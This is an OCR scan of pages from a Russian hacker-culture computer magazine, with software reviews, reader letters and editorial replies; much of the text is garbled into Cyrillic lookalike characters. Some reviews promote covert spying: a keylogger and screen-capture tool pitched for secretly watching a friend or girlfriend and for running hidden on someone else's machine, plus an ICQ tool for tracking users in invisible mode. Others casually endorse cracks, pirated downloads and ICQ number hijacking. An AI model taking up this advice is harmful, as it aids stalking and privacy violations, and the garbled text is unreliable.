Разгон АМО Зетргоп 
Ремонт: как правильно паять? 

Учим, как правильно установить водяной кулер 
Моддинг: лазерная резка 
Тестирование НОО в Ііпих 



новогодний НОМ№|! 

УЖЕ в ПРОДАЖЕ 

корпус с логотипом журнапа. 




твоя МАМА БУДЕТ В ШОКЕ! 
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8іге (в щ): 809 Кб 
Ііир://гоІапсІ65ігееігШ 




Ічередная околонаучная 
Опрограмма больше разв- 
лекательно-познавательного 
характера - ЗІеІІагіит. Зани- 
мается она тем, что демон- 
стрирует звездное небо в 
реальном времени. Причем 
именно в виде картин, что 
можно увидеть собственны- 
ми глазами в заданной точке 
Земли. Время и дата также 
могут определяться произ- 
вольно, а для ускоренного 
наблюдения происходящего 
на безоблачном небе звезд- 
ного беспредела предусмот- 
рены разные режимы прок- 
рутки секунд. 88 известных созвездий могут быть визуально соединены в привыч- 
ные фигурные «скелеты», на которые, в свою очередь, при желании накладываются 
рисованные графические изображения, символизирующие эти созвездия. Благода- 
ря таким мелочам, как воссозданное земное покрытие, мерцающие звезды и фото- 
реалистичный Млечный путь, видимое действительно кажется вполне натуральным. 
Для ближайшего рассмотрения наиболее крупных объектов существует увеличение, 
создающее эффект наблюдения из телескопа. Не забыты и научные подробности: 
на небе представлено более 1 20 000 звезд, для наиболее ярких из которых приве- 
дены названия и дополнительная информация, и более 70 туманностей. К картинке 
легко добавляются азимутальная и экваториальная решетки, а для любого выбран- 
ного объекта или просто для заданной точки показываются ее координаты. Тем не 
менее, по понятым причинам для серьезных научных исследований ЗІеІІагіит ис- 
пользовать строго не рекомендуется. Программа умеет работать в оконном и пол- 
ноэкранном режимах, самостоятельно делать скриншоты в ВМР (<С1г1>+<8>). 



бТЕСОИОббЕСиКІТѴбШТЕ 7.0.7 




ледник ХѴѴіп Сотшапсіег, 
попытки создать файловый 
менеджер для Х-ѴѴіпбоѵѵ, ос- 
нованный на библиотеке РОХ 
и похожий на М8 Ехріогег, хо- 
тя внешне куда более напо- 
минающий старые версии 
ѴѴіпсІоѵѵз Сотшапсіег. Функ- 
циональность достаточно 
скромна, но это окупается 
приличной скоростью рабо- 
ты. ХРЕ умеет отображать 
файлы в традиционном для 
N0 виде двух панелей, одной 
панели и в комбинациях с 
возможным подключением дерева каталогов. В панелях есть краткий, полный 
вид и вариант с большими иконками. Для просмотра текстовых файлов исполь- 
зуется встроенная утилита X Рііе Ѵіеѵѵ (х(ѵ), для работы с грт-пакетами - X Рііе 
Онегу (х^д), а для всех остальных операций вызываются либо стандартные кон- 
сольные приложения, либо внешние программы. К любым форматам можно 
сделать привязки к командам на исполнение. Поддерживается бгад’п’сігор для 
копирования, перемещения и создания символических ссылок, а также работа с 
архивами (извлечение и создание 1аг/2Ір/д2Ір/Ь2Ір2 из выделенных элементов) и 
монтирование/демонтирование устройств. К изображениям в ді^ и рпд создают- 
ся иконки с предосмотром картинок. Представлена возможность создания зак- 
ладок на любые каталоги (до 20 штук). Внешний вид ХРЕ изменяется с помощью 
тем или самостоятельного выбора любого из используемых цветов. 



ЗѴеПТЕРЕНЗОИПІГІНЕШПиГНЕЕ 5.6.2808 



ѴѴіп 98/МЕ/НТ/2К/ХР/2003 



ЗІіаге^аге 

8 І 2 е: 16 , 2 Мб 



т.зіедапоз.сош 







88 - это утилита, предназна- 
ІІ ченная для шифрования важ- 
ных данных и основанная на алго- 
ритме АЕ8 1 28 Ьіі Данные сохра- 
няются на виртуальном шифро- 
ванном диске со скоростью ~1 
Гб/сек, при этом отключение 
электропитания ему не повредит, 
так как программка оборудована 
защитным механизмом для пре- 
дотвращения потери данных. Уже 
зашифрованные данные можно 
спрятать в рисунках .ВМР и звуко- 
вых файлах .ѴѴАѴ методом измене- 
ния каждого младшего бита (18В), 
качество записи/картинки при 
этом практически не ухудшится. 
Если взять для примера 16-бит- 
ную звукозапись, то на каждые 16 
байт будет приходиться один 
скрытый байт зашифрованной информации, то есть на одном аудио-диске можно 
уместить около 50 метров кредитных карт и прочего хакерского стаффа. 




н 



амедни поставил 
8Р2, который обе- 
щал взяться за мою безо- 
пасность основательно. 
Файрвол от МІСГ 050 Й? :) 
Их презервативам я бы 
точно не доверился. 
Раньше стоял 2опеА1агт, 
но с переустановкой сис- 
темы начались неполадки 
в отношениях с имею- 
щимся антивирусом. 
После инсталла 8уда1е 
все непонятки с файрво- 
лом исчезли в момент. 
Настройки очень просты, 
можно обрубать доступ 
как из внешней сети (ска- 
неры, флудеры и прочие 

виртуальные подонки идут сосать), так и с самого компа (трояны и другая зараза под 
карантин). Более удобным в конфигурации и пользовании мне показался лишь Кегіо 
(шѵѵ.кегіо.соіті). Продукт придется особенно по вкусу ценителям легального ПО, так как 
выделенный выше конкурент - Кегіо РегзопаІ РігеѵѵаІІ - хочет аж 45 баксов за безот- 
казную работу. 8уда1е же отдастся тебе задарма. 





КГ8ЕИ80К 2.2.1 



ѴѴіп 98/МЕ/НТ/2К/ХР/2003 



ЗІіаге^аге 

8 І 2 е: 1 , 2 Мб 



К РЗепзог - это Попеуроі система, которая эму- 
лирует около ста сетевых сервисов (это толь- 
ко по умолчанию, можно добавить тысячи своих), 
среди которых встречаются такие распространен- 
ные и повседневно используемые, как Шр, йр и 
Іеіпеі Также программа осведомлена примерно о 
50 самых популярных троянах-бэкдорах. Настро- 
ить можно все сервисы от и до, начиная от ответа 
сервера и заканчивая таймаутами. Все это дело, 
естественно, очень тщательно логируется. Прога 
может работать как сервис в системе, посылая 
алерты тебе на мыло. 

А теперь еще раз, если ты ничего не понял. Запус- 
тив у себя КРЗепзог, ты сможешь эмулировать на 
своем компьютере множество открытых портов с 
висячими сервисами/троянами на них. Соответ- 
ственно, кто-то из «хакеров» может обнаружить 
это и пытаться тебя поиметь. А вот туг его поиме- 
ешь ты. Можешь послать логи его прову или же 
придумать что-либо пооригинальнее. Особенно 
продуктивно юзать софтину в локальной сети, но 
также неплохо будет побегать с реальным ІР’ шпи- 
ком по крутым каналам в ІРС. 
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УѴіп 98/МЕ/НТ/2К/ХР 
ЗІіаге^аге 



8іге:1,5 Мб 
т.геаігесогсіег.пеі 





д ^ -А ^ 






Д— Р т * и 


























■% 



Н ебольшое лирическое отступление: представь, что ты пригласил к 
себе домой одногруппника, отошел наливать выпивку на кухню, а его 
оставил сидеть за твоим железным зверем. Ты же не хочешь остаться без 
любимой шестизначной аськи? А что, одногруппники они такие: на вид 
друзья, а как только что с компа утащить - так это они с радостью! Или 
вот еще: вместо одногруппника нафантазируй свою любимую девушку. 
Вряд ли тебе понравится, если она прочитает вашу е-таіі переписку с На- 
дюшкой, Леночкой, Олей и Ларисой Сергеевной, угу? Вот туг на помощь 
и приходит сабжевая прога. Она тебе позволит досконально узнать, чем 
занимались в твоей системе друг и девушка, какие веб-ресурсы посеща- 
ли, какие приложения запускали (кстати, можно также ограничить доступ 
к указанным сайтам/программам паролем), что интересного писали (кла- 
виатурный шпион -ь перехват сообщений в интернет-пейджерах) и каки- 
ми иллюстрациями любовались (периодическое снятие снимка с экрана). 
Более хакерское применение ВеаІ Зру Мопііог’а - запуск в скрытом режиме на вражеской тачке и активация функции 
пересылки накопленной информации тебе на мыло или заливки на РГР-сервер. 



Ц8саѵ 2.004 



ѴѴіп 98/МЕ/НТ/2К/ХР 



ЕгееІЛ/аге 



8іге: 286 Кб 
изса.азесііка.ги 



Е сли у тебя есть аська, то должна поя- 
виться и уська. Начну издалека: знаешь 
такой возможный статус программы, как 
іпѵізіЫе-тосІе (невидимость)? Ты видишь 
всех людей из своего контакт-листа, а тебя 
только избранные - те, кого ты добавил в 
видимую группу. Я думаю, инвиз не раз помогал тебе спрятаться от надоедливых знако- 
мых. Но посмотрим на дело с другой стороны: бывало ли так, что твой друг задолжал те- 
бе деньги и скрывался? Или подружка сказала, что ей нужно ехать с предками за город, а 
сама в инвизибле мило общалась с другим парнем? Ты хочешь узнать правду? Тогда усь- 
ка - это то, что нужно. Программа позволяет определить, в каком режиме находится опре- 
деленный ІІІМ, и, что самое важное, без проблем вычисляет невидимость. Кроме этого, 
можно устраивать онлайн-слежку за нужными людьми: программа с периодичностью в п 
минут проверяет уин и записывает результат в лог. Как только статус сменится (например, 
ШІіпе -> ІпѵізіЫе), ты сразу же получишь уведомление на свой номер аськи. 

Для работы софтины тебе понадобится зарегистрировать свежий уин (ну или использовать 
любой ненужный) и вбить его данные в соответствующие поля проги. 
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ВІТТОКИПОО 0.3.8 



ѴѴІП(]0ІЛІ5 95/98/МЕ/НТ/2К/ХР 



Егееіліаге 
8іге:3648 Кб 
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В легендарной сети .Іоггепі можно скачать все пос- 
ледние фильмы. Доступны и другие варезные те- 
мы, хотя мувики остаются самым горячим товаром. Ты 
лишь сдуваешь .Іоггепі-файлы со специальных сайтов 
вроде Іійр://іоггепігеасіог.соіп, Іі!ір:/Доггеп1$.и$.!о и уѵш.Іокііог- 
гепісош. Треш-угарная рубрика «Іеесіі» дает обзоры ви- 
деовареза, доступного именно в рассматриваемой се- 
ти. Разработчик сетки также предлагает свой собствен- 
ный клиент. Однако последний продукт не обновлялся 
более полугода, и многие варезники-любители предпо- 
читают Тогпасіо. Серьезных изменений сделано не бы- 
ло, но работа со вторым 8Р значительно усовершен- 
ствовалась. Если новинка не придется по вкусу, попро- 
буй ВіІЗрігіі-клиент (шуѵ.ЬуіеІіпкег.сош). 






ОН дщіщіііііі 




ѴѴІП(]0№5 95/9 8/МЕ/НТ/2К/ХР 
Егееіліаге 
8іге: 5770 Кб 



Ж адность фраера погубит. 

Так и получается со знаме- 
нитым ВеаІ РІауег’ом, который 
давно уже перестал быть реаль- 
но реальным плеером для ре- 
альных пацанов! Там столько на- 
пихано рекламной шняги! Он так 
тормозит систему! Сейчас же 
появилась ВеаІ АІІегпаІіѵе, кото- 
рая на халяву даст абсолютно 
все возможности ВеаІ РІауег’а. 
Внешний вид проги точно копи- 
рует старые (до 6.*) версии 
ѴѴіпсІоѵѵз Месііа РІауег. Да, здесь 
вовсе нет ненужной пестроты прародителя с геаі.сош. Теперь я проиг- 
рываю все .га, .гт, .грт и другие форматы исключительно в ВеаІ 
АІІегпаІіѵе! 




ИЕКО ВОКИШОВОМ 




УѴІП(]0ѴѴ8 95/98/МЕ/НТ/2К/ХР 



Ц ервым из редакции купил себе СО-ВѴѴ-привод, то был 2Х-агре- 



гат. Интернет-трафик был безумно дорог, так что за софтом по- 
ехал на МШпО-Базар, где и купил болванку с Мего Вигпіпд ВОМ. С 
тех пор я пользуюсь только этой нарезалкой. Лишь с этим софтом 
та.пего.сот никогда не возникало проблем совместимости с парой десятков 

приводов, которые успели осесть в моем кузове за прошедшие го- 
ды. Знакомство с новой версией оказалось стандартным - старый 8/М не сработал, софт ругался на нелицензионное ис- 
пользование. То же случилось и с законными покупателями софта! Однако неровности нововведения оттеняются нала- 
женной работой под 8Р2. Если твой доступ к инету все еще ограничен, потенциальной халявной альтернативой может 
стать Оеер Вигпег (ѵѵѵѵѵѵ.сІеерЬигпег.сот) двух мегов веса. 








Р8ЕВиИ2.3 




ИиТЕ V 0.99.1 ВЕТП 




УІ/ІПСІ0И5 НТ/2к/ХР 
Ргееиаге 
8іге: 230 Кб 



ііІІр://р-пап(]-д.сопі/е/р$егѵ.ІіііпІ 



Ъгг 



юбой продвинутый юзер, 
II установив себе МТ-ЬазесІ 
операционную систему, рано 
или поздно решит навести по- 
рядок в работающих на его 
машине системных службах. 
Оно и понятно! Отключив 
службы, которые тебе нафиг 
не нужны, можно сразу убить 
трех зайцев: повысить безо- 
пасность, ускорить работу 
системы и освободить немно- 
го памяти (кстати, хороший 
русскоязычный хелп по служ- 
бам ѴѴіпсІоѵѵз ХР находится на 
сайте ѵѵѵѵѵѵ.о$20пе.пе1). Одна беда 
- стандартная оснастка Службы (Зегѵісез) довольно далека от совершенства. Поэ- 
тому вся продвинутая молодежь предпочитает использовать вместо нее апплет 
рзегѵ.срі. Дело в том, что последний имеет целый ряд важных преимуществ. Во- 
первых, основная информация выводится в одном окне и тебе не надо, к приме- 
ру, долго кликать по названиям служб, чтобы посмотреть, какая из них связана, 
скажем, с файлом Ізазз.ехе. Во-вторых, для отображения работающих служб соф- 
тина использует шрифт синего цвета, отключенные показывает серым, а осталь- 
ные выводит черным. Ну и в-третьих, кроме служб, данный апплет умеет анало- 
гичным образом отображать еще и список девайсов с драйверами! Это мегаудоб- 
но. Особенно если учесть, что включить/отключить/удалить любой драйвер или 
службу с помощью рзегѵ.срі можно буквально за пару кликов. 



ПКСНІѴПКШ8 3000 V 2.27 
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УІ/іп(]о№5 9х/Ме/НТ/2к/ХР 

ЗІіагеіАіаге 

$І 2 е: 2426 Кб 





родолжает развиваться 
и одна из самых инте- 
ресных локальных полноте- 
кстовых поисковых систем - 
АгсЫѵагіиз 3000. В свое вре- 
мя этот софт буквально по- 
корил меня своим умением 
лопатить не только обычные 
документы, но и почтовые ар- 
хивы мейлера Ваі (напомню, 
что остальные поисковики 
лишь М8 ОиІІоок и призна- 
ют). Причем АгсЫѵагіиз 3000 
легко обошел встроенный по- 
исковичок почтовой програм- 
мы как по скорости работы 
(используется механизм 
предварительного индекси- 
рования содержимого доку- 
ментов), так и по наглядности представления результатов (ключевые слова вы- 
деляются желтым, в ответе на запрос приводятся не только заголовки писем, 
но и фрагменты из них). При этом, естественно, программа работала пол- 
ностью автономно, то есть для просмотра найденных сообщений не нужно бы- 
ло запускать летучую мышь. 

В последних версиях добавилась поддержка документов в формате СНМ 
и почтовых баз МісгозоЙ ОиІІоок 97/98/2000/2002/2003, был доработан ин- 
терфейс программы и исправлено несколько досадных багов. При этом про- 
га, естественно, не потеряла ни одного из своих многочисленных достоинств. 
Она все еще знает о существовании туевой хучи различных кодиро- 
вок текста (008, ѴѴІМ, ІІпісосІе, ІЯР-8, КОІ-8), просматривает ар- 
хивы, индексирует электронные письма, веб-страницы, докумен- 
ты М8 ОШсе, РОР’ы, РТР- и ТХТ-файлы, а также ведет поиск 
с учетом морфологии русского (украинского, белорусского) языка. 




УѴіп(]0№5 9х/Ме/НТ/2к/ХР 
ЗІіагеіліаге 



Зіге: 841 Кб 
Ііир://пиІіі.іп8^п.огд 




ому из нас не приходи- 
, лось доводить до ума 
свежеустановленную 
ХР’шку?! Сколько статей на 
эту тему написано, сколько 
твикеров понаделано. Каза- 
лось бы, ничего нового в дан- 
ной области и придумать уже 
нельзя. Но нет, оказывается, 
можно! И утилита пШе тому 
подтверждение. Эта уникаль- 
ная разработка позволяет 
чистить и настраивать опера- 
ционные системы ѴѴіпсІоѵѵз 
ХР, 2000 и 2003 еще ДО их 
установки на компьютеры 
пользователей. Несколько 
месяцев назад я уже расска- 
зывал читателям X об этом интересном повороте сюжета. Более того, с тех пор 
как я познакомился с этой прогой, другие способы установки ѴѴіпсІоѵѵз стали ка- 
заться мне довольно ущербными. 

Освоение пШе усилий не требует: ты лишь указываешь программе расположе- 
ние оригинального дистрибутива любимой операционной системы, после чего 
запускается пошаговый мастер, позволяющий интегрировать в этот дистрибутив 
необходимые сервис-паки и выкинуть из него ненужные тебе компоненты (драй- 
веры, службы, утилиты и Т.П.). В конечном итоге ты получаешь на руки облегчен- 
ный вариант дистрибутива видов и, если требуется, загрузочный диск, с которо- 
го система ставится почти на автопилоте, не отвлекая тебя глупыми вопросами 
насчет СО-Кеу или просьбами выбрать правильный часовой пояс. Плюсы такого 
подхода ты, я думаю, понимаешь: система не только устанавливается на твою 
машину сразу в нужной тебе конфигурации, но еще и процесс установки идет за- 
метно быстрее за счет того, что компьютер не копирует туда-сюда левые фай- 
лы. Ясное дело, работоспособность «облегченного дистрибутива» ѴѴіпсІоѵѵз ник- 
то тебе не гарантирует, но лично мне пока пожаловаться не на что. К тому же, 
разработчики пШе все время совершенствуют свою утилиту, правят баги. В об- 
щем, если голова на плечах есть, можешь этой прогой смело пользоваться. Осо- 
бенно сейчас, когда у нее появился русскоязычный вариант интерфейса :). 
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В иагсісіод - основанная на 
01 оболочка к стандарт- 
ному для Ііпих ЛгеѵѵаІГу іріа- 
Ыез. Является полезным при- 
ложением, в первую очередь, 
для всех, кто так и не научил- 
ся нормально управлять этим 
чудом сетевой техники. Вся 
сеть разделена на зоны (по 
умолчанию это локалка и ин- 
тернет), для каждой из кото- 
рых устанавливаются свои 
правила безопасности. Зап- 
рет/разрешение на использо- 
вание тех или иных протоко- 
лов осуществляется элемен- 
тарным проставлением галочек, а список стандартных сервисов достаточно широк 
и содержит не только банальные РТР/НТТР(8)/РОРЗ(8)/1МАР(8)/8МТР, но и игро- 
вые серверы (ОіаЫо/Оиаке/НаІМі^е), базы данных СО (РгееОВ, СООВ), реег-іо- 
реег (ВіІТоггепІ, еОопкеу) и т.п. К большинству из них выводится краткое описание 
и уровень риска безопасности (низкий/средний/высокий). Список можно попол- 
нять и самостоятельно. По умолчанию для всех сервисов выбрана разумная поли- 
тика «что не разрешено, то запрещено». Отдельной вкладкой вынесен раздел ле- 
гирования, где подробно задаются приоритеты сообщений в логах и то, что в них 
можно не записывать. В «АбѵапсесІ» реализована поддержка ОНСР и возможность 
импортирования/экспортирования ^ігеѵѵаІІ-скриптов. А для тех, кто не в состоянии 
во всем этом разобраться, с программой поставляется Сиагсісіод НапсІЬоок, где 
подробно изложены принципы работы с ЯгеѵѵаІГом. 






С колько раз бывало: скачиваешь из Сети раз- 
рекламированную программу, запускаешь, 
появляется какое-то левое сообщение об ошибке, 
а потом на твоей машине обнаруживается троян. 
Конечно, если мастерски владеешь дизассембле- 
ром, то перед запуском ты любую прогу можешь 
проверить на вшивость. Но, увы, большинству 
юзеров такой способ проверки не по зубам. Одна- 
ко рисковать и запускать на своей машине подоз- 
рительный софт им тоже что-то не хочется. Одним 
из способов решения этой проблемы может стать 



использование программы 8а^е Іаипсіп. Данная 
прога позволяет отслеживать, что на самом деле 
делает на твоей машине тот или иной софт. Впро- 
чем, абсолютно все телодвижения подопытной 
софтины 8а!е Іаипсіп контролировать не берется. 
А вот обращения к файлам и реестру, попытки по- 
лучить прямой доступ к системным устройствам 
или выйти в Сеть в большинстве случаев отлавли- 
ваются исправно. При этом 8а^е Іаипсіп не огра- 
ничивается ролью пассивного наблюдателя. Нет, 
юзер также получает возможность запрещать по- 
допытной проге выполнять те действия, которые 
ему кажутся подозрительными. 

Работать с 8а!е Іаипсіп проще простого. Нужно 
лишь указать ей расположение исполняемого фай- 
ла, который ты хочешь протестировать, а затем от- 
метить галочками те операции, которые требуется 
держать под контролем. На скриншоте видно, как 
из 8а^е Іаипсіп я мучаю сетевого червя, известного 
под кодовым именем І-ѴѴогш.МеІзку.сІ. Бедняга раз 
за разом пытается отправить с моей машины пер- 
вую партию зараженных писем, но я, увы, постоян- 
но его обламываю :). 

Примечание: удивительно, но дальнейшее раз- 
витие этой замечательной проги прекращено и 
ее дистрибутив лишь на нашем СО можно найти 
без особого труда. 



ІС08ЕІГКЕИ0ѴЕК1 




Е ще одна ІСО-тулза в этом выпуске. Позволяет исполь- 
зовать некоторые не совсем документированные 
функции в протоколе ІСО, а именно возможность удалить 
СЕБЯ из серверного контакт-листа аськи другого челове- 
ка. Давай подумаем, зачем это нужно. К примеру, ты хо- 
чешь прекратить общение с определенным субъектом раз 
и навсегда и сделать это как можно незаметнее. Ок, само- 
удаляешься при помощи этой чудо-проги из его контактов, 
по желанию ставишь в своей асе режим авторизации и 
спишь спокойно. Или, быть может, ты угонщик крутых но- 
мерков? Тогда, взламывая номера асек, ты можешь однаж- 
ды нарваться на работника АОІ’а, который незамедлитель- 
но добавит тебя к себе в контакты, чтобы позже провести 
разъяснительную беседу. Это еще один случай, где ІСО 8е1^ 
Ретоѵег придется как нельзя кстати. Ну или не придется, 
если злой админ успеет удалить твой номер из базы ІСО :). 
Как работает: надо ввести пароль от своей аси, номер жертвы, из чьего листа ты хочешь удалиться, и на- 
жать соответствующую пимпу. 
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Т олько-только вышел последний АС08ее 7 вместе с 
РоѵѵегРаск’ом. Увы, менее прожорливым продукт не 
стал. Скорее наоборот - мой старый ноут не вынес муки 
обработки семигигового архива графики. Туг пришел на 
помощь более скромный ІпІгапѴіеѵѵ, не столь жадный до 
ресурсов. Даже без правки конфигов прога не стала уро- 
довать систему, менять файловые ассоциации без спро- 
су. С новой версией расширились опции обработки 
ТІРР’ов, штуки, мало нужной обычному юзеру, но очень 
близкой журналистскому сердцу (графический стандарт 
де-(иск-то ряда издательств). Вьюер теперь умеет авто- 
матически вращать изображение, реже нужно нажимать 
знакомую пимпу «Во!а!е». Занятной оказалась опция 
превращения текста из буфера обмена в графику. Утили- 
та пригодилась мне для рисования обложек к нарезан- 
ным АисІіоСО. Помни, что ІгЕапѴіеѵѵ - отличный вьюер, но 
встроенный редактор никогда не заменит РІтоіозІюр’а. 
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в НОМЕРЕ: 

Тестирование новейших 
' моделей КПК, ноутбуков и 
' сотовых телефонов 

Выбираем КПК в лодарок 

Автономное плавание 

_ Выбираем ноутбук с увеличенным 
временем автономной работы 



Шаг за шагом: 

Слушаем музыку с Сопсіиііз Роскеі 
РІауег 

МісгоОІАР СНМ еВоок Реасіег 
Мониторинг 0РР5-соединений 
Конвертируем ОѴВ лри помощи 
РоскеІ-ОѴО $1исІіо 7ог Раіт 
РіІе2 для РаІт 05 
Роскеі Типез 
Англо-русский словарь на смартсроне! 
Пакет осрисных приложений для 
коммуникаторов 
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ПИСЬМО от: 



Мохамед Т.В. <тоІіатесІ@5оЬе5.ѵоІодсІа.ги> 



Хай моему любимому журналу Хакер! Я Зрііпіег - вологодский чувак. Мои 
любимые занятия это читать ваш журнал, прогать, зависать в инете и др. Мне 
нравиться ваш журнал да практически всем: и софта навалом, и описанных 
взломов хватает. Только мне кажется что нужно уменьшить кол-во шароварных 
программ и повысить кол-во фриварных (лень кряки с инета качать)!!! 

Ну вобщем все бывайте...! • 



письмо от:1 

^ 



ЗдароваХацкера!!! 

Вопрос: Почему драйвер от мыши состоит из одной части драйвера от 
клавиатуры, драйвер от клавиатуры состоит из одной части драйвера от 
клавиатуры и драйвера от мыши? 

Ответ: 

О. Драйвер от мыши состоит из оной части драйвра от клавиатуры 
(правая рука) 

Ѳ. Драйвер от клавиатуры (две руки) состоит из одной части дравера о 
клавиатуры (левая рука) и драйвера от мыши (правой руки).. • 



ОТВЕТ х: 






Честно, я пытался понять, что ты хочешь, расспрашивал друзей, 
но... не смог. Поэтому прошу: напиши еще одно письмо с более подроб- 
ным объяснением своей проблемы. Попытаюсь помочь. Удачи. • 




ОТВЕТ х; 
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Привет, Мохамед! 

По твоему имени мы сразу поняли, что ты вологодский чувак! А вот по нику 
мы тут же просекли, что в детстве ты увлекался просмотром мультсериала и 
прочтением комиксов про черепашек-ниндзя. Уважаем. Но мы бы тебя 
уважали еще больше, если бы ты выбрал ник Оптимус-прайм, Нетопырь или 
еще какой-нибудь там Десептикон. Потому что сами мы очень любим 
мультики про трансформеров. Они сильнее черепашек - факт! 

Ну да ладно. Мы безумно рады, что тебе нравится наш журнал практически 
всем. Только вот количество шароварных программ мы повысить не можем. 
Иначе нам придется переименовывать рубрику «Шароварез» во «Фриварез». 
А это крайне нежелательно. Да и кряки обычно весят не очень много. 

Ну все, бывай, Мохамед, ш 



Ф 



Ф 



письмо от: 



СІІХакер <сііхакер@гатЫег.ги> 



Вот, блин, просто надоело читать эти письма тупых ламоботов, которые 
просят взломать все на свете! 

Народ! Объявляю страшную кибервойну этим существам!!! Хакай, троянь, твори 
заподло! Да, и еще, если ][акер будет продолжать в том же духе, учить этих ... то 
я забью на него и перестану его покупать! Надеюсь меня поддержат настоящие 
хацкеры. 

Ненавижу выпендривающихся ламеров!!! • 




ОТВЕТ х; 
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о, СІІХакер! Привет! Ты снова пишешь нам? Эго так готично, ты просто 
себе не представляешь! Согласны, стоит объявить войну и начать широкомасш- 
табные боевые действия против выпендривающихся ламоботов! Тебя мы назна- 
чаем маршалом этой кибер-армии. В твою задачу будет входить сбор настоящих 
хацкеров, которые будут хакать, троянить и творить западло. Ну и, естественно, 
тебе придется управлять всей этой безбашенной братией. 

Со своей же стороны мы обещаем помощь. Мы больше не станем продолжать 
в том же духе, учить этих... Да и вообще, мы больше не станем ничего делать. 
Ни для кого. На время военных действий мы закрываем журнал. Вот так. 

Адьес! • 



• м 

• • 



письмо от: 



ВаШз хІІ <хЬаШ5@гатЫег.ги> 



Здравствуйте уважаемая редакция и т.п. 

Хочу сказать, что ваш журнал самый рульный среди остальных. 

Я теперь ваш постоянный читатель :) Вообщем вопросов много, но скажу 
самое главное: Реально ли опубликовать статью в вашем журнале, а потом 
стать постоянным автором? 

ргосе(1иге ТРогт1.Виііоп1СІіск(Зеп(]ег: Т0Ь]есі); 

Ведіп 

і! шада7іпе ііаскег і$ сооі іііеп 
Ьедіп 

5І10ѴѴ ше$$аде:='РиІе7727 ][ і$ дгеаі!!!': 
еІ$е 

5І10ѴѴ ше$$аде:='Ты чего упал???Не уважаешь рульный журнал?'; 

сІо$е; 

ел(1: 

ел(1: 

з.ы.ОеІрІіі !огеѵег # 




ОТВЕТ к 






) 
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Привет тебе, Батус, от уважаемой редакции и т.п. Отвечаем с 
места, как говорится, в карьер. Стать нашим автором совершенно не- 
реально. Ни в коем случае нельзя написать нам статью, а уж тем более 
устроиться после этого постоянным автором. Все, кто у нас работает, 
устроились по блату через Покровского и писать не умеют совершенно. 
За них все пишет литературный редактор, за что ей честь и хвала. 

НО! Ты можешь помогать нашим авторам из рубрики «Кодинг» писать 
программы. Ты очень хороший Дельфи-кодер. Мы это поняли, скомпи- 
лировав твой исходный код. Вернее, попытавшись скомпилировать. Но 
там что-то отладчик заорал непонятное, и мы решили не лезть дальше 
и ничего не править. Пусть будет все так, как есть. Мы тебе доверяем! 
Удачи, бро! 

ЗЫ: Алгол решает! • 











письиоот: 



ОгеепСаІ <6геепСаІ@пт.ги> 



Здравствуйте, тадагіпе. 

У меня к вам есть предложение: организуйте заказ дисков (как на шѵѵ.сгаскІаЬлі) с хакерским софтом (сканеры уязвимостей, бругфорсеры и т.д. и т.п.), а также 
свежими архивами разных сайтов по безопасности. А еще в РС_20МЕ не пишите про всякие походы. Лучше описывайте всякий софт. 

С уважением, бгеепСаІ • 




ОТВЕТ х; 
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Привет. Понимаешь, мы бы с радостью организовали заказ дисков с хакерским софтом, а также дисков с порно, стали бы печатать 
деньги и сбывать их через наших читателей, да и вообще, занялись бы многими другими незаконными вещами. Но нас останавливает то, что 
мы чтим и уважаем закон нашей необъятной Родины. Так что не склоняй нас к противозаконным действиям, а то мы слабовольные - поддадимся 
еще и больше не сможем издавать журнал. Будем только ждать передачек от преданных читателей. 

А про РС_20МЕ ты нас расстроил: мы тут материал интересный подготовили о том, как Симбиозно в детстве ходил в горный поход :(. Придется 
снять материал. • 



а 



ПИСЬМО от: 



Ое^ МиІІ <с1е! пиІІ@таіІ.ги> 



Привет тебе любимый журнал!!! 

На днях увидел у одного знакомого журнал Епіег и всерьез обеспокоился. У тебя 
есть серьезный конкурент. Ну, куда вам до них??? Вы же ламерье полное по 
сравнению с ними!!! Вот понимаю там: 3 бѵсі, 250 страниц, да еще и статьи 
клевые. Например: установка Ьз р1ауег(причем в духе нажмите кнопочку такую-то, 
потом другую и ждите пока установится), использование справки в виндоуз 
«жмите пуск-> дальше справка...», освоим эксель и прочее. Не то что ваш «Обоз 
в картинках». Эх вы!!! Дабы исправить ситуацию предлагаю срочно 
переименовываться в «Ламер» и заключать договор о сотрудничестве с этим 
журналом. Ну а если серьезно то в принципе по сравнению с прошлым годом 
журнал немного скучноват. Даешь больше интересных статей!!! Кстати меня тоже 
достает ЦЕНТР ЭТОГО ГРЕБАННОГО АНГЛИЙСКОГО будь он не ладен. И еще 
хватит выкладывать на диски никому не нужный софт. Понимаю что хак-тулзы не 
должны занимать все пространство но шаравары задолбали. Слишком много того 
что можно было бы и не выкладывать. Вообщем Ыпі принимай меры. Да и 
выкладывайте что-нить почитать полезное на диск как в спеце. ПРО например :) 
Думаю если сделать такой раздел его оценят. Ну вообщем все, удачи вам в 
нелегкой борьбе с ламерьем! 
з.ы. Даешь много те., девушек и пива :))) • 




ОТВЕТ х: 






Начнем с конца: девушек и пива привози! РРС мы уже выкладывали 
в этом году на дисках, так что за невнимание баним тебя. Понятие 
«ненужный софт» я лично вообще не приемлю, ведь любому хакеру нужен не 
только хакерский софт, надо еще и письма в чем-то печатать, и фотки 
смотреть, так что это ты зря! Центр гребаного английского вроде успокоился 
- это ты что-то запоздал с негодованием. А в «Ламер» мы 
переименовываться не будем, уж не обессудь. Нравятся мне письма, где в 
каждом предложении новая мысль, не связанная с предыдущей :). • 









ПИСЬМО от: 



<т . га2иеѵ@бѵ.1гапз1к. ги > 



Я хотел бы подписаться на журналы вашего 
издательства: Спец Хакер и ТоІаЮѴО. Прошу сообщить 
мне, есть ли у вас редакционная подписка. Если есть, то на 
каких условиях. Высылаю на вас так как не знаю по какому 
адресу обратиться насчет подписки (у меня есть адрес 
только для Страны игр). 

Если ответ не придет до 25 ноября текущего года, то я 
подпишусь через почтовый каталог. 

Разуев Максим Владимирович. 
га2иеѵ@1упба.ги, т.га2иеѵ@бѵ.1гапз1к.ги • 




ОТВЕТ х; 
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Насчет подписки отвечаю всем сразу, а не только 
Максиму Разуеву. Редакционная подписка есть! Более 
того, она очень выгодна! Экономятся деньги и нервы - 
ты гарантированно получишь номер. Так что всем 
советую подписываться как можно быстрее. О том, как 
подписаться, мы рассказываем в каждом номере. А еще 
есть выгодные предложения, если подписываться на 
несколько журналов сразу... • 
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КУИОР 



Ш РОЗОВЫЙ споник 

и ДУРНО ПОХНУЩОЯ 

ОБЕЗЬЯНКО 



рфрми мша 




^ ПОБЕГ ИЗ апьшросп 

одном обанкротившемся зо- 
опарке, где хищники с голодухи 
питаются травой, а решетки в 
целях экономии сделаны из 
